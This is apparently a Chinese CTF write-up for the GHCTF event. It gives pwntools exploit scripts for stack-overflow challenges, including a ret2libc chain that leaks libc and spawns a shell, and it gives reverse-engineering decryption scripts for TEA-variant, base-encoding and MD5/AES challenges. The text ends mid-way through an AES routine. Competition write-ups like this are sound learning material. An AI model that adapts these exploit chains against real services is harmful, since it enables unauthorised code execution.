GHCTF WP

PWN

Hello_world

image

开了pie

image

存在后面函数

image

func1足够栈溢出 由于pie的原因,多发几次即可获得flag

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *

e = ELF("D:\\CTF\\GH\\attachment")

s = remote("node2.anna.nssctf.cn", 28170)

payload = b'1' * 40 + b'\xC5\x09'

print(payload)

s.send(payload)

s.interactive()

ret2libc1

image

image

shop中发现溢出点,要到达溢出点要获取足够金币

image

借助这个函数获取金币

puts泄露libc基地址,rop获取shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *

libc = ELF("D:\\CTF\\GH\\ret2libc1\\libc.so.6")
e = ELF("D:\\CTF\\GH\\ret2libc1\\attachment")
s = remote("node2.anna.nssctf.cn",28623)


poprdi_addr = 0x400d73
ret_addr = 0x400579
shop_addr = e.symbols['shop']
puts_got = e.got['puts']
puts_plt = e.plt['puts']
puts_offset = libc.symbols['puts']

payload0 = b'a'*(0x40+8)
payload0 += p64(poprdi_addr) + p64(puts_got)
payload0 += p64(puts_plt)
payload0 += p64(shop_addr)

# s.send(payload)

s.send(b'7')
s.send(b'11111')
s.send(b'6')
s.sendafter(b'check youer money',b'5')

s.send(payload0)

puts_real_addr=u64(s.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts_real_addr))

libc_base = puts_real_addr - puts_offset
print(hex(libc_base))

system_addr = 0x453A0 + libc_base
bin_addr = 0x18ce57 + libc_base

payload1 = b'a' * (0x40 + 8)
payload1 += p64(ret_addr)
payload1 += p64(poprdi_addr) + p64(bin_addr)
payload1 += p64(system_addr)
payload1 += p64(shop_addr)


s.send(payload1)


s.interactive()

RE

ASM?Signin!

data1生成密钥解密data2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
data1 = [
0x26, 0x27, 0x24, 0x25, 0x2A, 0x2B, 0x28, 0x00,
0x2E, 0x2F, 0x2C, 0x2D, 0x32, 0x33, 0x30, 0x00,
0x36, 0x37, 0x34, 0x35, 0x3A, 0x3B, 0x38, 0x39,
0x3E, 0x3F, 0x3C, 0x3D, 0x3F, 0x27, 0x34, 0x11
]

def swap(data, a, b):
for i in range(4):
data[a+i], data[b+i] = data[b+i], data[a+i]


si = 0
for _ in range(8):
di = si + 4
if di >= 28:
di -= 28

swap(data1, si, di)
si += 4


enc_keys = []
for di in range(0, 32, 4):
key1 = (data1[di+2] << 8) | data1[di+1]
key2 = (data1[di+3] << 8) | data1[di+2]
enc_keys.append( (key1, key2) )


data2 = [
0x69, 0x77, 0x77, 0x66, 0x73, 0x72, 0x4F, 0x46,
0x03, 0x47, 0x6F, 0x79, 0x07, 0x41, 0x13, 0x47,
0x5E, 0x67, 0x5F, 0x09, 0x0F, 0x58, 0x63, 0x7D,
0x5F, 0x77, 0x68, 0x35, 0x62, 0x0D, 0x0D, 0x50
]

flag = []
for i in range(0, 32, 4):
group = data2[i:i+4]
k1, k2 = enc_keys[i//4]

word1 = (group[1] << 8) | group[0]
dec_word1 = word1 ^ k1
b0 = dec_word1 & 0xFF
b1 = (dec_word1 >> 8) & 0xFF

word2 = (group[3] << 8) | group[2]
dec_word2 = word2 ^ k2
b2 = dec_word2 & 0xFF
b3 = (dec_word2 >> 8) & 0xFF

flag.extend([b0, b1, b2, b3])

flag_bytes = bytes(flag)
print(flag_bytes)

FishingKit

image

两个关键位置

image

z3解出key DeluxeBait​,再解出结果发现是假的flag,肯定是哪里有问题

image

发现奇怪的函数,动调获得解密后字符串,发现获取了strcmp的地址

image

再下面的函数对strcmp进行修改,似乎是inlinehook?

image

流程被劫持到这个函数中,分析发现是变种后的tea加密,根据加密过程写出解密过程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#include <stdio.h>
#include <stdint.h>
#include <string.h>

void decrypt(uint32_t* v, uint32_t* key) {
uint32_t v0 = v[0], v1 = v[1], sum = 0x9B34CE58, i;
uint32_t delta = 0x66778899;
for (i = 0; i<24; i++) {
v1 -= (key[(sum >> 11)&3] + sum) ^ (((v0 << 4) ^ (v0 >> 5)) + v0);
sum -= delta;
v0 -= (key[sum & 3] + sum) ^ (((v1 << 4) ^ (v1 >> 5)) + v1);
}
v[0] = v0; v[1] = v1;
}


int main()
{

uint32_t v[6] = {0xA6975621,0xDEC4D51A,0x4D829CA4,0x56C845D1,0x5C96B4A7,0x2087494D};
uint32_t k[] = {0x756C6544,0x61426578,0x7469,0};

for (int i = 0; i < 3; i++) {
decrypt(&v[2*i], k);
}
for (int i = 0; i < 24; i++)
{
printf("%c",*((char *)v + i));
}
printf("\n");
return 0;
}

LockedSecret

image

修改后的upx壳,一些特征被改掉了

image

改回来后用upx -d即可脱壳

image

两个关键函数

image

直接动调取出

image

第二个函数看似依托,其实仔细分析发现是个tea,每次循环8次,delta为0x5E2377FF

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#include<stdio.h>
#define delta 0x5E2377FF
#include <stdint.h>

//加密函数
void encrypt(uint32_t* v, uint32_t* k) {
uint32_t v0 = v[0], v1 = v[1], sum = 0, i;
uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3];
for (i = 0; i < 8; i++) {
sum += delta;
v0 += ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);
v1 += ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);
}

v[0] = v0 ^ 0xf; v[1] = v1 ^ 0xf;
}

//解密函数
void decrypt(uint32_t* v, uint32_t* k) {
uint32_t v0 = v[0], v1 = v[1], sum = 0xF11BBFF8, i;
uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3];
v0^=0xf;
v1^=0xf;
for (i = 0; i < 8; i++) {
v1 -= ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);
v0 -= ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);
sum -= delta;
}
v[0] = v0; v[1] = v1;
}



int main() {
uint32_t k[] = {0x423DF72D,0x5F59A01,0x633FCF1D,0x77D19122};
uint32_t v[] = {0x31E45DC,0x2776E989,0x1234847,0x64CED270,0x33467FDA,0xA34903B1,0x2CD10027,0x75BDB337};

uint32_t v1[] = {1,2,3,4};
for (int i = 0; i < 4; i++) {
decrypt(&v[2*i],k);
}
for (int i = 0; i < 32; i++) {
printf("%c",*((char*)v+i));
}
}

Mio?Ryo?Soyo?

pyinstaller打包软件,直接解包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# Visit https://www.lddgo.net/string/pyc-compile-decompile for more information
# Version : Python 3.8

from Secret import *
if __name__ == '__main__':
print('输入:', '', **('end',))
aaaaaaaaaaaaa = input()
wwwwwwwwwww = l(aaaaaaaaaaaaa)
if sssssssssssss == wwwwwwwwwww.encode():
print('哦,对的。')
else:
print('哎,并非。')
input()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
# Visit https://www.lddgo.net/string/pyc-compile-decompile for more information
# Version : Python 3.8

from SecretEncrypt import *
sssssssssssss = bytes([
57,
118,
33,
114,
68,
56,
117,
115,
34,
52,
52,
95,
78,
40,
49,
59,
95,
85,
63,
122,
54,
33,
77,
110,
49,
54,
34,
109,
106,
122,
60,
92,
108,
91,
61,
51,
42,
62,
35,
38,
52,
67,
62,
122,
116,
48,
76,
50,
67,
51,
59,
41,
122,
45,
45,
51,
90])

def l(_ = None):
return SSSooooyyooo(MMMMiiiiiio.MMMMiiooooooo(SSSooooyyooo(RRRRyyooo.RRRRRRRyyyyooooo(_.encode()), 7).encode()), 9)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
# Visit https://www.lddgo.net/string/pyc-compile-decompile for more information
# Version : Python 3.8

import math

class MMMMiiiiiio:
MMiiiiiiooo = ''.join((lambda .0: [ chr(Miiooooooooo) for Miiooooooooo in .0 ])(range(33, 118)))

def MMMMiiooooooo(MMMMMMMMMiiiooo = None):
MMMMiiiiioooooooooo = ''
MMMMMMMiiiiioo = (4 - len(MMMMMMMMMiiiooo) % 4) % 4
MMMMMMMMMiiiooo += b'\x00' * MMMMMMMiiiiioo
for MMMMMMiiiiiio in range(0, len(MMMMMMMMMiiiooo), 4):
MMMMiiiiiiooooo = MMMMMMMMMiiiooo[MMMMMMiiiiiio:MMMMMMiiiiiio + 4]
MMMMMMiiioooooo = int.from_bytes(MMMMiiiiiiooooo, 'big')
MMMMMMMiiooooooooo = ''
for _ in range(5):
MMMMMMMiiooooooooo = MMMMiiiiiio.MMiiiiiiooo[MMMMMMiiioooooo % 85] + MMMMMMMiiooooooooo
MMMMMMiiioooooo //= 85
MMMMiiiiioooooooooo += MMMMMMMiiooooooooo
if MMMMMMMiiiiioo:
MMMMiiiiioooooooooo = MMMMiiiiioooooooooo[:-MMMMMMMiiiiioo]
return MMMMiiiiioooooooooo

MMMMiiooooooo = None(MMMMiiooooooo)


class RRRRyyooo:
RRRRyooooooo = ''.join((lambda .0: [ chr(RRRRRRRyyyyyoooo) for RRRRRRRyyyyyoooo in .0 ])(range(48, 93)))

def RRRRRRRyyyyooooo(RRRRRRyyyoooooo = None):
RRRRyyyyyooo = []
RRyyyyyyyyyoooooo = 0
if RRyyyyyyyyyoooooo < len(RRRRRRyyyoooooo):
if RRyyyyyyyyyoooooo + 1 < len(RRRRRRyyyoooooo):
RRRRRRRRRyyo = RRRRRRyyyoooooo[RRyyyyyyyyyoooooo] << 8 | RRRRRRyyyoooooo[RRyyyyyyyyyoooooo + 1]
RRRRyyyyyooo.append(RRRRyyooo.RRRRyooooooo[RRRRRRRRRyyo % 45])
RRRRRRRRRyyo //= 45
RRRRyyyyyooo.append(RRRRyyooo.RRRRyooooooo[RRRRRRRRRyyo % 45])
RRRRRRRRRyyo //= 45
RRRRyyyyyooo.append(RRRRyyooo.RRRRyooooooo[RRRRRRRRRyyo])
RRyyyyyyyyyoooooo += 2
continue
RRRRRRRRRyyo = RRRRRRyyyoooooo[RRyyyyyyyyyoooooo]
RRRRyyyyyooo.append(RRRRyyooo.RRRRyooooooo[RRRRRRRRRyyo % 45])
RRRRRRRRRyyo //= 45
RRRRyyyyyooo.append(RRRRyyooo.RRRRyooooooo[RRRRRRRRRyyo])
RRyyyyyyyyyoooooo += 1
continue
return ''.join(RRRRyyyyyooo)

RRRRRRRyyyyooooo = None(RRRRRRRyyyyooooo)


def SSSooooyyooo(SSSSooyoooooo, SSSSSoyyooooo):
SSoooooyyyyyyoo = []
for SSSSSSSSSoyooo in SSSSooyoooooo:
if SSSSSSSSSoyooo <= SSSSSSSSSoyooo or SSSSSSSSSoyooo <= 'z':
pass
else:
'a'
SSSSoooyooooooo = ((ord(SSSSSSSSSoyooo) - ord('a')) + SSSSSoyyooooo) % 26
SSoooooyyyyyyoo.append(chr(ord('a') + SSSSoooyooooooo))
continue
if SSSSSSSSSoyooo <= SSSSSSSSSoyooo or SSSSSSSSSoyooo <= '9':
pass
else:
'0'
SSSSoooyooooooo = (ord(SSSSSSSSSoyooo) - ord('0') - SSSSSoyyooooo) % 10
SSoooooyyyyyyoo.append(chr(ord('0') + SSSSoooyooooooo))
continue
SSoooooyyyyyyoo.append(SSSSSSSSSoyooo)
continue
return ''.join(SSoooooyyyyyyoo)

base85 +换了码表 base 45 + 变种凯撒 套娃加密 ,直接逆向解密即可,ciperchef梭

image

TimeSpaceRescue

image

两处关键函数

imageimage

发现md5的常数

image

从结构体可以看出,程序获取了年月日,进行md5,然后异或得到key

image

aes加密,对数据进行了暗处理

image

但是发现爆破不出来,然后发现反调试函数,都堆在一起了

image

image

md5加密和aes最后都有不影响反编译的花

image

去掉后得到正确流程,根据题目2024年爆破得到flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
#include <stdint.h>
#include <stdio.h>
#include <string.h>
// Copyright 2020-2021 The jdh99 Authors. All rights reserved.
// calc md5
// Authors: jdh99 <jdh821@163.com>


#include <string.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>

// Constants are the integer part of the sines of integers (in radians) * 2^32.
const uint32_t k[64] = {
0xd76aa478, 0xe8c7b756, 0x242070db, 0xc1bdceee ,
0xf57c0faf, 0x4787c62a, 0xa8304613, 0xfd469501 ,
0x698098d8, 0x8b44f7af, 0xffff5bb1, 0x895cd7be ,
0x6b901122, 0xfd987193, 0xa679438e, 0x49b40821 ,
0xf61e2562, 0xc040b340, 0x265e5a51, 0xe9b6c7aa ,
0xd62f105d, 0x02441453, 0xd8a1e681, 0xe7d3fbc8 ,
0x21e1cde6, 0xc33707d6, 0xf4d50d87, 0x455a14ed ,
0xa9e3e905, 0xfcefa3f8, 0x676f02d9, 0x8d2a4c8a ,
0xfffa3942, 0x8771f681, 0x6d9d6122, 0xfde5380c ,
0xa4beea44, 0x4bdecfa9, 0xf6bb4b60, 0xbebfbc70 ,
0x289b7ec6, 0xeaa127fa, 0xd4ef3085, 0x04881d05 ,
0xd9d4d039, 0xe6db99e5, 0x1fa27cf8, 0xc4ac5665 ,
0xf4292244, 0x432aff97, 0xab9423a7, 0xfc93a039 ,
0x655b59c3, 0x8f0ccc92, 0xffeff47d, 0x85845dd1 ,
0x6fa87e4f, 0xfe2ce6e0, 0xa3014314, 0x4e0811a1 ,
0xf7537e82, 0xbd3af235, 0x2ad7d2bb, 0xeb86d391 };

// r specifies the per-round shift amounts
const uint32_t r[] = {7, 12, 17, 22, 7, 12, 17, 22, 7, 12, 17, 22, 7, 12, 17, 22,
5, 9, 14, 20, 5, 9, 14, 20, 5, 9, 14, 20, 5, 9, 14, 20,
4, 11, 16, 23, 4, 11, 16, 23, 4, 11, 16, 23, 4, 11, 16, 23,
6, 10, 15, 21, 6, 10, 15, 21, 6, 10, 15, 21, 6, 10, 15, 21};

// leftrotate function definition
#define LEFTROTATE(x, c) (((x) << (c)) | ((x) >> (32 - (c))))

void to_bytes(uint32_t val, uint8_t *bytes)
{
bytes[0] = (uint8_t) val;
bytes[1] = (uint8_t) (val >> 8);
bytes[2] = (uint8_t) (val >> 16);
bytes[3] = (uint8_t) (val >> 24);
}

uint32_t to_int32(const uint8_t *bytes)
{
return (uint32_t) bytes[0]
| ((uint32_t) bytes[1] << 8)
| ((uint32_t) bytes[2] << 16)
| ((uint32_t) bytes[3] << 24);
}

void md5(const uint8_t *initial_msg, size_t initial_len, uint8_t *digest) {

// These vars will contain the hash
uint32_t h0, h1, h2, h3;

// Message (to prepare)
uint8_t *msg = NULL;

size_t new_len, offset;
uint32_t w[16];
uint32_t a, b, c, d, i, f, g, temp;

// Initialize variables - simple count in nibbles:
h0 = 0x67452301;
h1 = 0xefcdab89;
h2 = 0x98badcfe;
h3 = 0x10325476;

//Pre-processing:
//append "1" bit to message
//append "0" bits until message length in bits ≡ 448 (mod 512)
//append length mod (2^64) to message

for (new_len = initial_len + 1; new_len % (512/8) != 448/8; new_len++)
;

msg = (uint8_t*)malloc(new_len + 8);
memcpy(msg, initial_msg, initial_len);
msg[initial_len] = 0x80; // append the "1" bit; most significant bit is "first"
for (offset = initial_len + 1; offset < new_len; offset++)
msg[offset] = 0; // append "0" bits

// append the len in bits at the end of the buffer.
to_bytes(initial_len*8, msg + new_len);
// initial_len>>29 == initial_len*8>>32, but avoids overflow.
to_bytes(initial_len>>29, msg + new_len + 4);

// Process the message in successive 512-bit chunks:
//for each 512-bit chunk of message:
for(offset=0; offset<new_len; offset += (512/8)) {

// break chunk into sixteen 32-bit words w[j], 0 ≤ j ≤ 15
for (i = 0; i < 16; i++)
w[i] = to_int32(msg + offset + i*4);

// Initialize hash value for this chunk:
a = h0;
b = h1;
c = h2;
d = h3;

// Main loop:
for(i = 0; i<64; i++) {

if (i < 16) {
f = (b & c) | ((~b) & d);
g = i;
} else if (i < 32) {
f = (d & b) | ((~d) & c);
g = (5*i + 1) % 16;
} else if (i < 48) {
f = b ^ c ^ d;
g = (3*i + 5) % 16;
} else {
f = c ^ (b | (~d));
g = (7*i) % 16;
}

temp = d;
d = c;
c = b;
b = b + LEFTROTATE((a + f + k[i] + w[g]), r[i]);
a = temp;

}

// Add this chunk's hash to result so far:
h0 += a;
h1 += b;
h2 += c;
h3 += d;

}

// cleanup
free(msg);

//var char digest[16] := h0 append h1 append h2 append h3 //(Output is in little-endian)
to_bytes(h0, digest);
to_bytes(h1, digest + 4);
to_bytes(h2, digest + 8);
to_bytes(h3, digest + 12);
}


typedef struct{
uint32_t eK[44], dK[44]; // encKey, decKey
int Nr; // 10 rounds
}AesKey;

#define BLOCKSIZE 16 //AES-128分组长度为16字节

// uint8_t y[4] -> uint32_t x
#define LOAD32H(x, y) \
do { (x) = ((uint32_t)((y)[0] & 0xff)<<24) | ((uint32_t)((y)[1] & 0xff)<<16) | \
((uint32_t)((y)[2] & 0xff)<<8) | ((uint32_t)((y)[3] & 0xff));} while(0)

// uint32_t x -> uint8_t y[4]
#define STORE32H(x, y) \
do { (y)[0] = (uint8_t)(((x)>>24) & 0xff); (y)[1] = (uint8_t)(((x)>>16) & 0xff); \
(y)[2] = (uint8_t)(((x)>>8) & 0xff); (y)[3] = (uint8_t)((x) & 0xff); } while(0)

// 从uint32_t x中提取从低位开始的第n个字节
#define BYTE(x, n) (((x) >> (8 * (n))) & 0xff)

/* used for keyExpansion */
// 字节替换然后循环左移1位
#define MIX(x) (((S[BYTE(x, 2)] << 24) & 0xff000000) ^ ((S[BYTE(x, 1)] << 16) & 0xff0000) ^ \
((S[BYTE(x, 0)] << 8) & 0xff00) ^ (S[BYTE(x, 3)] & 0xff))

// uint32_t x循环左移n位
#define ROF32(x, n) (((x) << (n)) | ((x) >> (32-(n))))
// uint32_t x循环右移n位
#define ROR32(x, n) (((x) >> (n)) | ((x) << (32-(n))))

/* for 128-bit blocks, Rijndael never uses more than 10 rcon values */
// AES-128轮常量
static const uint32_t rcon[10] = {
0x01000000UL, 0x02000000UL, 0x04000000UL, 0x08000000UL, 0x10000000UL,
0x20000000UL, 0x40000000UL, 0x80000000UL, 0x1B000000UL, 0x36000000UL
};
// S盒
unsigned char S[256] = {
0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76,
0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0,
0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15,
0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75,
0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84,
0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF,
0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8,
0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2,
0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73,
0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB,
0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79,
0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08,
0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A,
0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E,
0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF,
0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16
};

//逆S盒
unsigned char inv_S[256] = {
0x52, 0x09, 0x6A, 0xD5, 0x30, 0x36, 0xA5, 0x38, 0xBF, 0x40, 0xA3, 0x9E, 0x81, 0xF3, 0xD7, 0xFB,
0x7C, 0xE3, 0x39, 0x82, 0x9B, 0x2F, 0xFF, 0x87, 0x34, 0x8E, 0x43, 0x44, 0xC4, 0xDE, 0xE9, 0xCB,
0x54, 0x7B, 0x94, 0x32, 0xA6, 0xC2, 0x23, 0x3D, 0xEE, 0x4C, 0x95, 0x0B, 0x42, 0xFA, 0xC3, 0x4E,
0x08, 0x2E, 0xA1, 0x66, 0x28, 0xD9, 0x24, 0xB2, 0x76, 0x5B, 0xA2, 0x49, 0x6D, 0x8B, 0xD1, 0x25,
0x72, 0xF8, 0xF6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xD4, 0xA4, 0x5C, 0xCC, 0x5D, 0x65, 0xB6, 0x92,
0x6C, 0x70, 0x48, 0x50, 0xFD, 0xED, 0xB9, 0xDA, 0x5E, 0x15, 0x46, 0x57, 0xA7, 0x8D, 0x9D, 0x84,
0x90, 0xD8, 0xAB, 0x00, 0x8C, 0xBC, 0xD3, 0x0A, 0xF7, 0xE4, 0x58, 0x05, 0xB8, 0xB3, 0x45, 0x06,
0xD0, 0x2C, 0x1E, 0x8F, 0xCA, 0x3F, 0x0F, 0x02, 0xC1, 0xAF, 0xBD, 0x03, 0x01, 0x13, 0x8A, 0x6B,
0x3A, 0x91, 0x11, 0x41, 0x4F, 0x67, 0xDC, 0xEA, 0x97, 0xF2, 0xCF, 0xCE, 0xF0, 0xB4, 0xE6, 0x73,
0x96, 0xAC, 0x74, 0x22, 0xE7, 0xAD, 0x35, 0x85, 0xE2, 0xF9, 0x37, 0xE8, 0x1C, 0x75, 0xDF, 0x6E,
0x47, 0xF1, 0x1A, 0x71, 0x1D, 0x29, 0xC5, 0x89, 0x6F, 0xB7, 0x62, 0x0E, 0xAA, 0x18, 0xBE, 0x1B,
0xFC, 0x56, 0x3E, 0x4B, 0xC6, 0xD2, 0x79, 0x20, 0x9A, 0xDB, 0xC0, 0xFE, 0x78, 0xCD, 0x5A, 0xF4,
0x1F, 0xDD, 0xA8, 0x33, 0x88, 0x07, 0xC7, 0x31, 0xB1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xEC, 0x5F,
0x60, 0x51, 0x7F, 0xA9, 0x19, 0xB5, 0x4A, 0x0D, 0x2D, 0xE5, 0x7A, 0x9F, 0x93, 0xC9, 0x9C, 0xEF,
0xA0, 0xE0, 0x3B, 0x4D, 0xAE, 0x2A, 0xF5, 0xB0, 0xC8, 0xEB, 0xBB, 0x3C, 0x83, 0x53, 0x99, 0x61,
0x17, 0x2B, 0x04, 0x7E, 0xBA, 0x77, 0xD6, 0x26, 0xE1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0C, 0x7D
};

/* copy in[16] to state[4][4] */
int loadStateArray(uint8_t (*state)[4], const uint8_t *in) {
for (int i = 0; i < 4; ++i) {
for (int j = 0; j < 4; ++j) {
state[j][i] = *in++;
}
}
return 0;
}

/* copy state[4][4] to out[16] */
int storeStateArray(uint8_t (*state)[4], uint8_t *out) {
for (int i = 0; i < 4; ++i) {
for (int j = 0; j < 4; ++j) {
*out++ = state[j][i];
}
}
return 0;
}
//秘钥扩展
int keyExpansion(const uint8_t *key, uint32_t keyLen, AesKey *aesKey) {

if (NULL == key || NULL == aesKey){
printf("keyExpansion param is NULL\n");
return -1;
}

if (keyLen != 16){
printf("keyExpansion keyLen = %d, Not support.\n", keyLen);
return -1;
}

uint32_t *w = aesKey->eK; //加密秘钥
uint32_t *v = aesKey->dK; //解密秘钥

/* keyLen is 16 Bytes, generate uint32_t W[44]. */

/* W[0-3] */
for (int i = 0; i < 4; ++i) {
LOAD32H(w[i], key + 4*i);
}

/* W[4-43] */
for (int i = 0; i < 10; ++i) {
w[4] = w[0] ^ MIX(w[3]) ^ rcon[i];
w[5] = w[1] ^ w[4];
w[6] = w[2] ^ w[5];
w[7] = w[3] ^ w[6];
w += 4;
}

w = aesKey->eK+44 - 4;
//解密秘钥矩阵为加密秘钥矩阵的倒序,方便使用,把ek的11个矩阵倒序排列分配给dk作为解密秘钥
//即dk[0-3]=ek[41-44], dk[4-7]=ek[37-40]... dk[41-44]=ek[0-3]
for (int j = 0; j < 11; ++j) {

for (int i = 0; i < 4; ++i) {
v[i] = w[i];
}
w -= 4;
v += 4;
}

return 0;
}

// 轮秘钥加
int addRoundKey(uint8_t (*state)[4], const uint32_t *key) {
uint8_t k[4][4];

/* i: row, j: col */
for (int i = 0; i < 4; ++i) {
for (int j = 0; j < 4; ++j) {
k[i][j] = (uint8_t) BYTE(key[j], 3 - i); /* 把 uint32 key[4] 先转换为矩阵 uint8 k[4][4] */
state[i][j] ^= k[i][j];
}
}

return 0;
}

//字节替换
int subBytes(uint8_t (*state)[4]) {
/* i: row, j: col */
for (int i = 0; i < 4; ++i) {
for (int j = 0; j < 4; ++j) {
state[i][j] = S[state[i][j]]; //直接使用原始字节作为S盒数据下标
}
}

return 0;
}

//逆字节替换
int invSubBytes(uint8_t (*state)[4]) {
/* i: row, j: col */
for (int i = 0; i < 4; ++i) {
for (int j = 0; j < 4; ++j) {
state[i][j] = inv_S[state[i][j]];
}
}
return 0;
}

//行移位
int shiftRows(uint8_t (*state)[4]) {
uint32_t block[4] = {0};

/* i: row */
